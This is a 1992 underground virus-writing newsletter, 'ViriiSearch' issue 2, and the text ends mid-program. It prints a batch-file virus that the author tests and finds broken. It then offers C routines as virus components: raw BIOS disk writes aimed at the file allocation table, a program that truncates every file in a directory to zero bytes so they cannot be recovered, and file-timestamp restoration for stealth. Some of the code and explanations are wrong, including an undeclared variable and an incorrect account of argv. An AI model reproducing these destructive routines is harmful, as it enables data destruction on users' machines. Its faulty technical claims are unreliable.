ViriiSearch: The Virus Research Newsletter - Volume 1, Number 2
DISCLAIMER: The author will NOT accept responsibility for any damage to your computer media and/or files, or responsibility for any action you might take that will result in legal proceedings, the source code, if any, in this newsletter is THE REAL THING, and you, after you read this, will be well aware of what virii are capable of, and knowing that, it is expected that you will act responsibly.
DISCLAIMER II: All I know about programming I have learned on my own, and did not go to school for, and am still learning. As a result, I am sometimes prone to make mistakes, and be wrong about things, so please be patient if I should make a mistake, or say something that isn't true, which would be totally unintentional.
Viriisearch: The Virus Research Newsletter
Volume 1, Number 2
7/2/92
CREDITS:
- Author: Criminal Minded <tm>
- Editor: Criminal Minded <tm>
- Ideas, Source, Examples Supplied By: Criminal Minded <tm>
- Facts Stolen From Several Sources By: Criminal Minded <tm>
Introduction
Welcome To The Second Issue Of Viriisearch, The Virus Research Newsletter.
In this issue
- Batch File Virii: How Effective Are They?
- Methods Used To Do The Following:
- Removing/Altering Attributes On Files
- Writing To The File Allocation Table
- Truncating Files To 0 Bytes (They cannot be recovered with this method, but it is rather slow)
- Saving/Restoring File Dates/Times
- Formatting
- Fun With COMMAND.COM
- Sample Source Code Of Virii
- "Suicidal Tendencies" Department/Virus Of The Month
- Final Notes
Batch File Virii: How Effective Are They?
This Is A Batch File Virus:
echo = off
ctty nul
path c:\msdos
dir *.com/w>ind
edlin ind<1
debug ind<2
edlin name.bat<3
ctty con
name
This is what each line in the batch file does:
Line: What It Does:
-----------------------------------------------------------------------------
echo = off Turns Echo Off
ctty nul Turns Console Output Off
path c:\msdos Sets up the path in the environment as C:\MSDOS
dir *.com/w>ind Redirects the output of the command "DIR *.COM/W to a
File Called "IND"
edlin ind>1 Edits "IND" File Using The Edlin Commands In "1"
edlin ind>2 Edits "IND" File Using The Edlin Commands In "2"
edlin name.bat>3 Edits "NAME.BAT" Using The Edlin Commands In "3"
ctty con Restores Output To The Console
name Runs NAME.BAT
Contents Of The File "1"
1,4d ( Here line 1-4 of the "IND" file are deleted )
e ( Save file )
Contents Of The File "2"
m100,10b,f000 (First program name is moved to the F000H address to save)
e108 ".BAT" (Extention of file name is changed to .BAT)
m100,10b,f010 (File is saved again)
e100"DEL " (DEL command is written to address 100H)
mf000,f00b,104 (Original file is written after this command)
e10c 2e (Period is placed in from of extension)
e110 0d,0a (Carrige return+ line feed)
mf010,f020,11f ( Modified file is moved to 11FH address from buffer area)
e112 "COPY \VR.BAT"( COPY command is now placed in front of file)
e12b od,0a (COPY command terminated with carriage return + lf)
rxc ( The CX register is ... )
2c ( set to 2CH)
nname.bat ( Name it NAME.BAT)
w ( Write )
q ( quit )
Contents Of The File "3"
0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
1 , 1 ? . . n y y y y y y y
0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
y . 2 , ? ? r . . n n y y y
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
y y y y . E . . . . . . . . .
Ok, according to the author, this batch file makes use of EDLIN and DEBUG and only affects .COM files.
I ran it twice, first on one of my DOS bootable disks. This is the directory listing of that disk before I ran this supposed "batch file virus"
Volume in drive A has no label
Volume Serial Number is 004A-1EC0
Directory of A:\
COMMAND COM 47845 04-09-91 5:00a
ANSI SYS 9029 04-09-91 5:00a
RAMDRIVE SYS 5873 04-09-91 5:00a
CONFIG SYS 39 01-01-80 12:04a
SYS COM 13440 04-09-91 5:00a
NDOS COM 2419 08-14-84 12:00p
UNDELETE EXE 13924 04-09-91 5:00a
MEM EXE 39818 04-09-91 5:00a
SFORMAT EXE 64921 08-05-91 6:01a
DEBUG EXE 21692 06-07-90 2:24a
EDLIN EXE 14121 06-07-90 2:24a
ATTRB EXE 6232 01-01-80 12:21a
AUTOEXEC BAT 69 01-01-80 12:02a
NORTON INI 530 01-01-80 12:01a
VR BAT 112 01-01-80 7:00p
1 10 01-01-80 7:01p
2 171 01-01-80 7:04p
3 269 01-01-80 7:08p
18 file(s) 240514 bytes
353280 bytes free
Ok, I ran VR.BAT and it accessed the disk for about 30 seconds and then the computer froze up. So I rebooted and looked at the disk. There was no file damage, but there were four new files on the disk:
IND 120 bytes
IND.BAK 209 bytes
NAME.BAT 120 bytes
NAME.$$$ 0 bytes
This is the contents of "IND"
COMMAND.COM SYS.COM NDOS.COM
3 file(s) 63704 bytes
286720 bytes free
This Is The Contents Of "IND.BAK"
Volume in drive A has no label
Volume Serial Number is 004A-1EC0
Directory of A:\
COMMAND.COM SYS.COM NDOS.COM
3 file(s) 63704 bytes
286720 bytes free
And This Is The Contents Of "NAME.BAT"
del MMAN.bat. S
copy \vr.batO
COMMAN.bat
3 file(s) 63704 bytes
286720 bytes free
I Then Proceeded To Run NAME.BAT and all that did was give me a "File Not Found" And A Few "Bad Command Or Filename"'s
I Am Not Too Sure Of What This Individual Was Attempting To Do, But I Would Not Be Too Worried About Him Being Capable Of Doing Anything Malicious To Your System As His Batch File Virus Is A Piece Of Shit.
Also, I Created A Directory Called MSDOS On The Disk, Copied COMMAND.COM, SYS.COM, And NDOS.COM To That Directory And Ran VR.BAT again. It Did The Same Thing As Before, And Did Not Do Any Damage To The Files In The Root Directory
Or A:\MSDOS
Methods Used To Do The Following:
- Removing/Altering Attributes On Files
- Writing To The File Allocation Table
- Truncating Files To 0 Bytes
- Saving/Restoring File Dates/Times
- Formatting
Removing/Altering Attributes On Files:
Here Is A Simple C Language Source To Change The Attributes To Normal On A File Called "TEST.DAT"
#include <dos.h>
int main (void);
main()
{
_dos_setfileattr("TEST.DAT", _A_NORMAL);
}
I Think It's Pretty Much Self-Explanatory. <dos.h> Is Just The Header File That Has The Prototype For "_dos_setfileattr" In It And The Definition For The Manifest Constant "_A_NORMAL"
int main (void);
Is The Function Prototype For "main()" Declaring It To Return Type "int" And Is Passed No Parameters (void). This Is Keeping Up With The ANSI Standard.
Then
_dos_setfileattr("TEST.DAT",_A_NORMAL);
which does the actual attribute change.
Now, A Complete Utility To Change Attributes That I Wrote On 09/16/91. This Is The Third Revision Of It, Version 3.0. I Am Proud Of This Particular Version, As The Source Code Is 92 Lines, and 3238 Bytes. The Executable Is 9165 Bytes, Which Is Relatively Small. That Just Shows That This Is A Well Written Utility, Especially Compared To Version 1.0, Which Was 1/3 Of The Lines, And The Executable Was Around 20K.
#include <stdio.h>
#include <dos.h>
int count1=0,loop=0;
main(argc,argv)
int argc;
char *argv[];
{
if (argc != 2) {
printf("Usage: C>ATTRB <filespec>\n\n");
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
printf("09/16/91.\n");
exit(1);
}
else {
struct find_t all_file;
while (loop!=4) {
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
printf("\nFile(s) do not exist.\n");
exit(1);
}
else {
printf("1. Normal\n");
printf("2. Read Only\n");
printf("3. Hidden\n");
printf("4. System\n");
printf("5. Hidden/System/Read Only\n\n");
printf("Enter Your Choice: ");
switch(getch()) {
case '1': loop=4;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
case '2': loop=4;
_dos_setfileattr(all_file.name, _A_RDONLY);
printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_RDONLY);
printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
case '3': loop=4;
_dos_setfileattr(all_file.name, _A_HIDDEN);
count1++;
printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_HIDDEN);
printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
case '4': loop=4;
_dos_setfileattr(all_file.name, _A_SYSTEM);
count1++;
printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_SYSTEM);
printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
case '5': loop=4;
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
count1++;
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
default: loop=5;
printf("\n\nThat was not a valid menu selection.\n\n");
printf("Please try again:\n\n");
break;
}
}
}
}
}
"Dissection" Of The Source Code To Attrb v3.0
int count1=0,loop=0;
This Is Just Global Declaration And Inititialization Of Two Integers, Called "count1" and "loop"
You Should Always Initialize Your Integers To Zero, Because "C" Can Sometimes Assign The Value To The Integer That Is In The Area Of Memory The Compiler Sets Aside For The Integer, Which Could Result In Your Program Not Working The Way You Wanted It To.
"count1" keeps track of the number of files whose attributes were changed through the use of the "increment operator" ( ++ ) which adds the value of 1 to the integer everytime it changes the attribute on a file.
count1++; /* adds the value of 1 to "count1" */
When there are no more files left to change, it prints the total number of files whose attributes were altered with this line:
printf("\n%d Files.\n", count1);
%d is a format specifier, telling the printf function we are printing a int. The value to print comes from "count1" at the end, printf looks in there and obtains the value, then prints it.
main(argc,argv)
int argc;
char *argv[];
This is how command line parameters are incorporated into programs. argc, a integer, keeps track of the number of actual parameters passed. char *argv[] is the actual parameter. ATTRB v3.0 takes one command line parameter, a file specification.
C>ATTRB30 TEST.DAT
With this, argc would = 2, and argv would be as follows:
argv[0] = "C"
argv[1] = "TEST.DAT"
argv[0] always has "C" in it.
Now, how do you make sure the person using the utility entered the command line parameter? Like this:
if (argc != 2) {
printf("Usage: C>ATTRB <filespec>\n\n");
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
printf("09/16/91.\n");
exit(1);
}
argc should equal 2, so the line: if (argc!=2)
is saying: if argc doesn't equal 2 (! means NOT and = means equal)
If argc doesn't equal 2, that means no command line parameter was passed to the program, so it carries out the four lines in between the { and the } see below:
printf("Usage: C>ATTRB <filespec>\n\n");
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
printf("09/16/91.\n");
exit(1);
it tells you the "usage" of the program:
Usage: C>ATTRB <filespec>
telling you it needs one command line parameter, a filespec
then it prints the name of the program, author, and date, and exits with a error code of 1.
If argc DOES equal 2, it goes to this part of the program:
Without Comments:
else {
struct find_t all_file;
while (loop!=4) {
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
printf("\nFile(s) do not exist.\n");
exit(1);
}
With Comments:
else { /* else do this if the parameter is supplied */
struct find_t all_file; /* this tells the program we are going to use the */
/* structure defined in DOS.H called "find_t" */
/* see below for a description of "find_t" */
while (loop!=4) { /* will keep going until loop doesn't equal 4 */
/* this next line searches for the filename you specified, using the */
/* "bitwise OR" operator, | to OR the attribute manifest constants */
/* together, so it will find any file matching the one you specified */
/* regardless of the attribute it has. If _dos_findfirst NOT equals */
/* 0, that means the file you specified doesn't exist, so it tells */
/* you and exits with a error code of 1 */
/* Also in this line is where we pass argv[1] over to the "all_file" */
/* structure, which is the same as the "find_t" structure. We just */
/* basically changed the name with the line: struct find_t all_file */
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file) !=0)) {
printf("\nFile(s) do not exist.\n");
exit(1);
}
OK, let me interrupt here for a brief discussion of the "find_t" structure declared and defined in "DOS.H"
The "find_t" structure:
struct find_t {
char reserved[21];
char attrib;
unsigned wr_time;
unsigned wr_date;
long size;
char name[13];
};
Ok, a structure is just a simple way of organizing data and you won't have to declare the data types every time, you could just use the structure.
The members of this structure are:
char reserved[21]; /* character array, can hold 21 chars. Reserved by DOS */
char attrib; /* holds the attribute */
unsigned wr_time; /* holds the time of the file */
unsigned wr_date; /* holds the date of the file */
long size; /* holds the file size */
char name[13]; /* holds the filename */
at the end of the structure is: };
this signifies the end of it the structure, but because there is no name there, we can rename the structure to anything we line, like we did with the line:
struct find_t all_file
now had the structure had a name there, such as:
struct find_t {
char reserved[21];
char attrib;
unsigned wr_time;
unsigned wr_date;
long size;
char name[13];
} fileinfo;
we couldn't rename the structure. The members of the structure would be referred to as:
fileinfo.attrib
fileinfo.wr_time
fileinfo.wr_date
fileinfo.size
fileinfo.name
but since we renamed the structure to "all_file"
the members are called:
all_file.attrib
all_file.wr_time
etc and so on...
Get it? Good. Now back to ATTRB v3.0
-----------------------------------------------------------------------------
We left off here:
else {
struct find_t all_file;
while (loop!=4) {
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
printf("\nFile(s) do not exist.\n");
exit(1);
}
As I said, in the 4th line in the above example, argv[1] is passed over to the "all_file" structure, so argv[1] from now on will be referred to as:
all_file.name
If the above part of the program does find a matching file, it will go onto this part of the program:
Once again, note the "if else"
In English:
if findfile function doesn't find a matching file, print message and exit. else do this:
else {
printf("1. Normal\n");
printf("2. Read Only\n");
printf("3. Hidden\n");
printf("4. System\n");
printf("5. Hidden/System/Read Only\n\n");
printf("Enter Your Choice: ");
easy eh?
you will notice the { and the } throughout the program, those are VERY, VERY important in how your program works. I will cover those after I am done with explaining how the program works.
Anyway, the above part of the source just displays the simple menu, showing your choices. If you select 1, it will change the attributes of the matching files to the normal attribute, 2 will make them read only, etc....
This is how it gets the input from the user:
switch(getch()) {
getch() is a function which means "get character"
the "switch" allows the use of "case statements"
case '1': loop=4;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
11 lines:
Line 1. Will carry out all the functions after case '1': IF the 1 key is
pressed. Also on the first line: loop=4;
This gives the value of 4 to the integer "loop"
Earlier in the code, there was: while (loop!=4)
Which will keep going until the integer holds a value other than 4
Since we assign 4 to it at every case statement, it keeps going.
The purpose of this is if you hit a wrong key, such as 8, which
isn't available on the menu, it will go to default, where it assigns
5 to loop causing it to display this message:
That was not a valid menu selection.
Please try again:
and then "break" out of the loop and go back to the menu, and
re-display it.
This is how it does it:
default: loop=5;
printf("\n\nThat was not a valid menu selection.\n\n");
printf("Please try again:\n\n");
break;
Now back to "case '1'"
case '1': loop=4;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
Ok, this picks up where
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
left off.
_dos_findfirst finds the FIRST matching file and then displays the menu. If you select one, it will go to the case '1': statement and change the attribute of all_file.name to NORMAL using this line:
_dos_setfileattr(all_file.name, _A_NORMAL);
Then it prints a line telling you the result. %s is another format specifier used by printf, like %d mentioned earlier, but %s is to print a string, and all_file.name (at the end) contains the string to be printed.
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
Then it adds the value of 1 to count1 to keep track of the total number of files attributes were changed on.
count1++;
Once it does all that, it goes onto this part of the code:
while (_dos_findnext(&all_file) == 0) {
count1++;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
}
printf("\n%d Files.\n", count1);
break;
This is a while loop, until _dos_findnext DOESN'T equal 0, it will keep going because as long as it does equal 0, that means there are matching files. The next 3 lines have already been explained. Once there are no more files, it goes to:
printf("\n%d Files.\n", count1);
break;
Which prints how many files were changed, breaks out of the loop and exits the program.
The only difference between case 1, case 2, case 3, case 4, and case 5, is the attribute that the file is changed to.
- Case 1: Normal (Can Be Deleted, Written To)
- Case 2: Read Only (Cannot Be Written To Or Deleted)
- Case 3: Hidden (Filename Is Not Seen When You Type DIR, But Still Can Be Executed If A .COM, .EXE, or .BAT File, Can Still Be Read If A Text File, Etc But Cannot Be Deleted, DOS Replies: File Not Found)
- Case 4: System (Like The File Doesn't Exist. Cannot Be Deleted, Executed Or Read)
- Case 5: Hidden/System/Read Only (Combination Of 3, 4 and 5)
A VERY important part of C language are the curly brackets, { and }
We will now go through the code one more time telling what each { and } is for.
I will put a number next to each one, like so: [1] and [2] and [3] etc..
at the end of the code, I will tell what each one is for.
#include <stdio.h>
#include <dos.h>
int count1=0,loop=0;
main(argc,argv)
int argc;
char *argv[];
{ [1]
if (argc != 2) { [2]
printf("Usage: C>ATTRB <filespec>\n\n");
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
printf("09/16/91.\n");
exit(1);
} [3]
else { [4]
struct find_t all_file;
while (loop!=4) { [5]
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { [6]
printf("\nFile(s) do not exist.\n");
exit(1);
} [7]
else { [8]
printf("1. Normal\n");
printf("2. Read Only\n");
printf("3. Hidden\n");
printf("4. System\n");
printf("5. Hidden/System/Read Only\n\n");
printf("Enter Your Choice: ");
switch(getch()) { [9]
case '1': loop=4;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) { [10]
count1++;
_dos_setfileattr(all_file.name, _A_NORMAL);
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
} [11]
printf("\n%d Files.\n", count1);
break;
case '2': loop=4;
_dos_setfileattr(all_file.name, _A_RDONLY);
printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
count1++;
while (_dos_findnext(&all_file) == 0) { [12]
count1++;
_dos_setfileattr(all_file.name, _A_RDONLY);
printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
} [13]
printf("\n%d Files.\n", count1);
break;
case '3': loop=4;
_dos_setfileattr(all_file.name, _A_HIDDEN);
count1++;
printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) { [14]
count1++;
_dos_setfileattr(all_file.name, _A_HIDDEN);
printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
} [15]
printf("\n%d Files.\n", count1);
break;
case '4': loop=4;
_dos_setfileattr(all_file.name, _A_SYSTEM);
count1++;
printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) { [16]
count1++;
_dos_setfileattr(all_file.name, _A_SYSTEM);
printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
} [17]
printf("\n%d Files.\n", count1);
break;
case '5': loop=4;
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
count1++;
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
while (_dos_findnext(&all_file) == 0) { [18]
count1++;
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
} [19]
printf("\n%d Files.\n", count1);
break;
default: loop=5;
printf("\n\nThat was not a valid menu selection.\n\n");
printf("Please try again:\n\n");
break;
} [20]
} [21]
} [22]
} [23]
} [24]
For every { there has to be a }
Groups of code, such as particular functions, while loops, switch statements, and the main body of the program are enclosed in between { and }
Pairs: What The Are For:
- [1] [24] Enclose The Main Body Of The Program
- [2] [3] Enclose The Body Of Code To Execute If argc Doesn't Equal 2
- [4] [21] Enclose The Body Of Code To Execute If argc Does Equal 2
- [5] [22] Enclose The Body Of Code To Execute Until loop Doesn't Equal 4
- [6] [7] Enclose The Body Of Code To Execute If _dos_findfirst Doesn't Find A Matching File
- [8] [23] Enclose The Body Of Code To Execute If _dos_findfirst Does Find A Matching File
- [9] [20] For The Switch Statement Beginning And Ending
- [10] [11] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '1')
- [12] [13] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '2')
- [14] [15] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '3')
- [16] [17] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '4')
- [18] [19] Enclose The Body Of Code To Execute While _dos_findnext is Still Finding Matching Files (case '5')
By Now I Am Sure You Can See The Importance Of Curly Brackets And Where You Place Them In Your Code. I Recall Someone Thinking They Were A Awesome Programmer Because They Knew A Few Nice Third Party Commercial C Libraries, But The Didn't Know The Language Too Well, And As A Result, He Was Not The Great Programmer He Thought He Was.
Writing/Reading The File Allocation Table
#include
int main (void);
main()
{
struct diskinfo_t disk_info;
disk_info.drive=2; /* 0 = Drive A, 1 = Drive B, 2 = Drive C */
disk_info.head=0; /* disk drive head */
disk_info.track=0; /* track to read from */
disk_info.sector=1; /* Starting Sector */
disk_info.nsectors=10; /* Number Of Sectors To Read */
_bios_disk(_DISK_READ,&disk_info);
}
The Above Code Will Read 10 Sectors Starting At Sector 1 On Track 0, Side 0 Of Drive C.
The _bios_disk function makes use of the "diskinfo_t" structure in "BIOS.H"
The diskinfo_t structure:
struct diskinfo_t {
unsigned drive;
unsigned head;
unsigned track;
unsigned sector;
unsigned nsectors;
void far *buffer;
};
If you wanted to write to the disk rather than read from it, replace this line:
_bios_disk(_DISK_READ,&disk_info);
With this:
_bios_disk(_DISK_WRITE,&disk_info);
_DISK_READ and _DISK_WRITE are known as 'Manifest Constants' They tell the _bios_disk function whether to read or write...
Starting sector and number of sectors will vary depending on the media you want to read from or write to the file allocation table (FAT) on.
Truncating Files To 0 Bytes:
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <dos.h>
int main (void);
main()
{
int fh;
struct find_t find_all;
_dos_findfirst("*.*",_A_NORMAL|_A_RDONLY|_A_HIDDEN|_A_SYSTEM,&find_all);
_dos_setfileattr(find_all.name,_A_NORMAL);
fh=open(find_all.name,O_TRUNC);
close(fh);
while (_dos_findnext(&all_file) == 0) {
_dos_setfileattr(find_all.name,_A_NORMAL);
fh=open(find_all.name,O_TRUNC);
close(fh);
}
}
We've Already Covered _dos_findfirst, _dos_findnext, _dos_setfileattr And Structures So We Will Concentrate On The "open" And "close" Functions, Which Are Relatively Simple.
The Following Line Opens "find_all.name" And The Manifest Constant "O_TRUNC" Passed To The "open" Function Causes The File Being Opened To Be Truncated To 0 Bytes.
fh=open(find_all.name,O_TRUNC);
And Then We Close The Open Handle, Which Was Passed To The Integer "fh" By The "open" Function.
close(fh);
When We Close The File, It Gets Written Back To The Disk In The Same Exact Spot, But With It's Contents Destroyed. UNERASE (C) Symantec And Similar "File Recovery" Utilities Cannot Recover The Files. The Only Drawback To This Method Is That It Is Awfully Slow.
Saving/Restoring File Dates/Times
Below is a C program to change the date and time stamp on a file called "TEST.TXT" to 01/01/82 and 1:32am
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh=0;
unsigned date=0x421;
unsigned time=0xC0F;
int main(void);
main()
{
_dos_open("TEST.TXT",O_RDONLY,&fh);
_dos_setftime(fh,date,time);
_dos_close(fh);
}
_dos_open is passed three parameters, the file, the mode to open the file with, and a integer.
The file is self explanatory, the mode is O_RDONLY which is read only. It is not neccesarry to open the file in a writable mode since we won't actually be writing to the file. The filename is passed to the integer "fh"
The next function, _dos_setftime, is passed the integer, "fh", and the date and time to set on the file. date and time are unsigned integers. date has the hexadecimal value, 0x421, which is: 01/01/82 and time has the hexadecimal value, 0xC0F, which is 1:32am. This function sets the specified date and time and then the integer "fh" is passed to the _dos_close function, which closes the file.
We can preserve the original date and time stamp on a file by using the function called "_dos_getftime"
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
unsigned date;
unsigned time;
int main(void);
main()
{
_dos_open("TEST.TXT",O_RDONLY,&fh);
_dos_getftime(fh,&date,&time);
_dos_close(fh);
}
This program is virtually identical to the previous one except that we use _dos_getftime in place of _dos_setftime.
If you were wondering where to get the hexadecimal values for setting the date and time, you can do it this way:
#include <fcntl.h>
#include <time.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh;
char filename[13] = {"*.*"};
FILE *stream;
unsigned date;
unsigned mtime;
int main(void);
main()
{
struct stat buf;
struct find_t all_file;
stream=fopen("HEXTABLE.TXT","a");
_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
_dos_open(all_file.name,O_RDONLY,&fh);
_dos_getftime(fh,&date,&mtime);
fstat(fh,&buf);
_dos_close(fh);
fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream," Hexadecimal:\t\t| Regular:\n");
fprintf(stream,"-----------------------------------------------------------------------------\n");
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
while (_dos_findnext(&all_file) == 0) {
_dos_open(all_file.name,O_RDONLY,&fh);
_dos_getftime(fh,&date,&mtime);
fstat(fh,&buf);
_dos_close(fh);
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
}
fclose(stream);
}
This is actually very simple. It uses the file finding methods used in ATTRB v3.0, discussed earlier, with one difference: It doesn't take a command line parameter like ATTRB did...instead the filespec is declared in the code as a character array:
char filename[13] = {"*.*"};
In this case, it finds ALL the files, using wildcards. You can change it to find any file(s) you want, for instance:
char filename[13] = {"*.COM"};
Would find all the files that have a extension of .COM
The curly braces { and } surrounding the filespec are neccessary when initializing a array.
This is the structure for returning the date and time on the file:
struct stat buf;
And this is the structure for finding the files:
struct find_t all_file;
Here it opens the "HEXTABLE.TXT" file. Note the "a" switch, which means "append" if the file exists, it will write to the end of the file. If it doesn't exist, it will create it.
stream=fopen("HEXTABLE.TXT","a");
Here it starts the search. It attempts to locate the first file matching:
char filename[13] = {"*.*"};
and passes the filename found to the "all_file" structure
_dos_findfirst(filename, _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file);
Here _dos_open opens the file, and passes the file handle to the integer "fh"
_dos_open(all_file.name,O_RDONLY,&fh);
And here it gets the file date and time, storing it in the two unsigned integers "date" and "mtime"
NOTE: I originall called had used "time" instead of "mtime" and it wouldn't compile and link the file because "time" is a function in the standard library that came with the compiler. Told ya I'm still learning!
BTW, the screw up with 'time' was Microsoft's fault. That's what they used in the manual.
_dos_getftime(fh,&date,&mtime);
Here it gets the stats on the file as outlined in the stat structure.
fstat(fh,&buf);
Then it close the file that the integer "fh" points to.
_dos_close(fh);
and prints the following lines to the file "HEXTABLE.TXT"
fprintf(stream,"----------------------------------------------------\n");
fprintf(stream," Hexadecimal:\t\t| Regular:\n");
fprintf(stream,"----------------------------------------------------\n");
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
\t is a TAB, %s is a string, and %x is a hexadecimal value.
It prints date and mtime as hex values, and prints the regular date and time as a string with the help of the "ctime" function.
And the following code basically does the same thing until there are no more files matching "all_file.name"
while (_dos_findnext(&all_file) == 0) {
_dos_open(all_file.name,O_RDONLY,&fh);
_dos_getftime(fh,&date,&mtime);
fstat(fh,&buf);
_dos_close(fh);
fprintf(stream," %x %x\t\t| %s",date,mtime,ctime(&buf.st_atime));
}
then it close "HEXTABLE.TXT" and exits.
fclose(stream);
}
***********************************
Following is part of "HEXTABLE.TXT" after I ran the above program so you can see some examples of hexadecimal date and time values and the regular date and time next to them:
NOTE: The first hexadecimal value is the date, the second one is the time.
-----------------------------------------------------------------------------
Hexadecimal: | Regular:
-----------------------------------------------------------------------------
1067 2820 | Mon Mar 07 05:01:00 1988
1896 4bd1 | Wed Apr 22 09:30:34 1992
106a 5a2c | Thu Mar 10 11:17:24 1988
1067 2820 | Mon Mar 07 05:01:00 1988
1067 2820 | Mon Mar 07 05:01:00 1988
1689 2800 | Tue Apr 09 05:00:00 1991
1896 4a5c | Wed Apr 22 09:18:56 1992
1896 4a5c | Wed Apr 22 09:18:56 1992
1067 2820 | Mon Mar 07 05:01:00 1988
1067 2820 | Mon Mar 07 05:01:00 1988
You will notice in the previous program that set the file date and time, I had it like this:
unsigned date=0x421;
unsigned time=0xC0F;
Now, in the above hex values, 1067 is 03/07/88 and 2820 is 5:01am, so you would put:
unsigned date=1067;
unsigned time=2820;
right? WRONG. You have to put the 0x in front of it:
unsigned date=0x1067;
unsigned time=0x2820;
This is only required if you are going to declare and initialize two integers with a value such as I did here:
#include <fcntl.h>
#include <sys\types.h>
#include <sys\stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
int fh=0;
unsigned date=0x421;
unsigned time=0xC0F;
int main(void);
main()
{
_dos_open("TEST.TXT",O_RDONLY,&fh);
